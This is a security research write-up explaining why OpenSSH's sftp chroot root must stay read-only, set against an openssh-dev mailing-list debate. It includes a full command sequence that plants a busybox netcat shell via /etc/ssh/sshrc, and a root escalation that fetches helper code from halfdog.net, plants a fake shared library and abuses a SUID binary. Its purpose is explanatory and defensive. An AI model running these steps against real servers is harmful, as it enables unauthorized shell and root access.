OpenSSH sftp chroot code execution

Motivation:

The sftp component from OpenSSH provides a chroot-feature for hardening. It is stated in the documentation, that the chroot root directory must not be writable. This page documents some analysis results following discussion on openssh-dev mailing list. Some people were questioning the read-only restriction. Here should be some arguments, why it still makes sense in 2018. From the sshd documentation, see sshd_config(5):

ChrootDirectory "For safety, it is very important that the directory hierarchy be prevented from modification by other processes on the system (especially those outside the jail). Misconfiguration can lead to unsafe environments which sshd(8) cannot detect."

Looking at the references provided below makes it clear that the discussion in 2018 is far more mature, than the one from 2008. So privilege escalation to root is currently not possible - at least for me - when having a sftp-only chrooted, writable root. But the line to full compromise is very thin and the next kernel flaw is likely to cross it. Conclusio: NEVER EVER THINK ABOUT MAKING CHROOT WRITABLE unless you are the 1 in a million with super-admin powers and love really risky real-world text adventures.

Results

Part 1 - writable root sftp command execution:

The first test focuses on the impact of a writable root in a sftp-only setup. OpenSSH detects that condition and prohibits login to such system per default. Therefore a test chroot was created with bin, dev, etc, lib, lib64, proc, tmp, usr and var directories created and world-writable. Server side configuration in /etc/ssh/sshd_config was:

Match User test ChrootDirectory /var/lib/sftp ForceCommand internal-sftp

In such setup (test system Ubuntu Xenial, patched), sftp code execution is trivial and does not require any custom binaries. A standard statically linked busybox will do:

# cat <<EOF > reverse-shell-script #!/bin/sh touch /tmp/done /dev/null cp /bin/sh /bin/busybox /bin/busybox nc -lp 1234 -e /bin/sh < /dev/null > /dev/null 2>&1 & EOF # chmod 0755 -- reverse-shell-script # sftp test@testhost Enter passphrase: Connected to test@testhost sftp> ls /tmp sftp> put busybox /bin/sh Uploading busybox to /bin/sh busybox 100% 1918KB 14.3MB/s 00:00 sftp> mkdir /etc/ssh sftp> put reverse-shell-script /etc/ssh/sshrc Uploading reverse-shell-script to /etc/ssh/sshrc reverse-shell-script 100% 127 93.1KB/s 00:00 sftp> quit # sftp test@testhost Enter passphrase: Connected to test@testhost sftp> ls /tmp /tmp/done ...

Without any other protection like SELinux et al, syscall tracing clearly shows the commands executed:

11073 chroot("/var/lib/sftp") = 0 ... 11073 <... clone resumed> child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f9998512b90) = 11074 ... 11074 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f9998512b90) = 11075 ... 11075 execve("/bin/sh", ["sh", "-c", "/bin/sh /etc/ssh/sshrc"], [/* 9 vars */]) = 0

Part 2 - leaving with friends AND bonuses:

As soon as there exists a cooperating process outside the chroot, chroots change their personality from one of many useful pieces of sensible service hardening against security threats to the grim reaper of your machine. The simplest variant, not requiring any kernel bugs, SCM_RIGHTS, USERNS or /proc trickery, just requires, that there is a directory on the sftp-chroot mount, that can be written by the outer user. The following steps allow to gain root privileges using the busybox setup from part 1 above using the reverse shell bound to port 1234.

# Compile some helpers using just standard tools. local> wget https://www.halfdog.net/Security/2017/SshAgentGainGroupPrivileges/engine.c local> gcc -Wall -fPIC -c engine.c local> ld -shared -Bdynamic engine.o -L/lib -lc -o engine.so local> wget https://www.halfdog.net/Misc/Utils/SuidExec.c local> gcc -o SuidExec SuidExec.c # Prepare the environment by uploading files via sftp into chroot. sftp> sftp put ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2 sftp> mkdir /lib/x86_64-linux-gnu sftp> put libc.so.6 /lib/x86_64-linux-gnu/libc.so.6 sftp> put engine.so /lib/x86_64-linux-gnu/libcap.so.2 sftp> put SuidExec /bin # Use the reverse connection from part 1. local> nc -v testhost 1234 sftp> mkdir /tmp/x sftp> chdir /tmp/x # Now use the cooperating process on the same machine as the chroot. remote> mv /var/lib/sftp/tmp/x /var/tmp remote> ln -s ../../../../ /var/tmp/x/root # Now escalate to root inside the chroot. sftp> root/bin/ping 2>&1 TestLib.c: Within _init Process uid/gid at load: 1000/0/0 100/100/100 Process uid/gid after change: 0/0/0 100/100/100 sftp> chown 0.0 /bin/SuidExec sftp> chmod 04755 /bin/SuidExec # Now gain root also on outside, too lazy to compile the typical # chdir/chroot variant. remote> /var/lib/sftp/bin/SuidExec /bin/bash remote> id uid=0(root) gid=100(users) groups=100(users) remote> ...

Conclusio: gaining access to from inside a chroot to the outside or from outside to inside using an unprivileged user may give you trivial root privilege escalation.

Part 3 - leaving from chrooted shell:

Some systems might allow both sftp/ssh to chrooted environments. If that jail happens to have /proc mounted, the possiblity to access only a single process outside the root allows to see the content outside. This is not the same as leaving the chroot as required to start the attack from part 2. But as /bin/mount is visible now, attacks like the FIXME-2018-01-10 can be used to gain root inside the jail and then leave.

Luckily, most operating systems provide good resistance against such kind of access via proc. When remembered correctly, one the outside process would have to be "dumpable" from the view of the jailed process. On Ubuntu Xenial for example this is not even true for a process with same uid/gid if it a SUID/SGID step was involved. Also sshd behaves correct: the only place where uid/euid/fsuid are all changed to login user is after chroot(). Not even the /proc/[pid]/exe of a parallel sftp connection can be read. As that process did not switch user, has the same uid/gid but executes a binary from outside the jail, this would be a first step, but is not possible.

Concluding, on a recent kernel, escape is only possible combining vulnerabilities or using tools found on the outside. And of course, a suitable process outside is needed - but it does not have to be active. Maybe a pop, imap or mail server switching uids might suffice.

Part 4 - just leaving sftp:

This would be the nicest, as it just uses part 1 to get code execution, then magic happens, thus ending up at the starting point for part 2 and thus full server compromise. Luckily the sftp programmers did their work well, I did not find any option to evade yet. USERNS trickery does not work as unprivileged users may not create a separate mount namespace when chrooted. Also sftp-server closes all critical file descriptors before chrooting and /proc is not available.

Discussion

Writable root - a bad idea in general:

As shown above, writable root is really a very bad idea. So OpenSSH is completely right in disabling that. Many users will just have one more option to shoot themselves without any real benefit. Even after eliminating the code for the really trivial method presented here, attackers might use many other ways to reach their goals.

This tremendously large attack surface is due to breaking the basic UNIX software design assumption, that / is trusted and only writeable by root (strange coincidence in names). Without such a trust in /, no invoked binary, no shared library to be loaded is safe any more. Hence such use cases were not considered when implementing any standard program or library. So when this design assumption is broken, anything attempting to access usually trusted resources is at risk to fail in unexpected ways or be misused to gain privileges. There are numerous ways to exploit that:

Programs might access configuration files from well-known locations. This is exactly the scheme shown in part 1 above. While it is usually rare, that those configuration files are executed as seen here, also other configuration files might include such functions hidden from plain sight. See SshAgentGainGroupPrivileges for example, just you do not need to set any environment variables when writing to /etc/openssl.conf.
Some components might late-load shared libraries. Such features are useful to write very flexible software. As soon as any component involved in library loading is compromised, gain of privileges is the consequence. The openssl late loading from above, useful to support custom ciphers, decoders is one such example. But late loading is more common than you think.
- glibc iconv handling of character set conversions can use external libraries, see iconv_open(3) and glibc source code __gconv_open (iconv/iconv_open.c), leading down the path to __gconv_find_shlib (iconv/gconv_dl.c).
- glibc name service switch (nss) uses late loading for lookups, e.g. to translate an IP-address to hostname but also for uid-to-name lookups. As example, see gethostbyname(3), getpwnam(3), nss(5) or source code nss_load_library (nss/nsswitch.c), __nss_getent_r (nss/getnssent_r.c).
- On some errors, e.g. malloc/free failures, glibc may abort the running program. During that procedure, it loads libgcc_s.so.1. That library is the component, that prints the nice memory map for debugging on crash.
- PAM stack uses them, but this is less relevant, as authentication inside such environments should be rare.
Manipulating the /dev filesystem allows one to create very nice effects. Think of symlinking /dev/null to e.g. /bin/sh. As soon as opened by the program, it overwrites itself (or any other arbitrary file writable by the caller). Why should any program open /dev/null and write to it, when not told to? Because having no stdout or stderr file descriptor is very dangerous, so most programs check, that they exist and use /dev/null instead, when missing.
To support program output in multiple languages, text message translation files can be late-loaded, usually from /usr/share/locale/. See gettext(3) for more information. The name of the translation file can be controlled by LANG/LANGUAGE/LC_ALL. As those files may include fprintf format strings, modification of process memory is possible, leading to reliable anti-ASLR code execution. See FIXME-2018-01-10 how to use them for in a local root privilege escalation example.
/etc contains numerous files, that might be searched for by programs and shared libraries and influence program behaviour. /etc/passwd, /etc/suid-debug or /etc/ld.so.conf do that in a very direct way, but also other candidates like /etc/timezone should not be ignored, as they may be more common in code flows of already running processes.
/proc filesystem, if mounted is a source of never-ending joy. From a security standpoint, it is too complex for humans to understand it. It was only designed for standard use, mounting it to the init-NS or a clean PID-USERNS. Any other use is just asking for trouble.
/proc when not mounting is still a source of joy, as some programs and libraries search for it automatically. Usually, they continue without the user noticing it when /proc is not available. But if an attacker can create rogue /proc content, programs are likely to stumble over it. There are multiple reports, where crafted proc content was used in attacks.

Introduction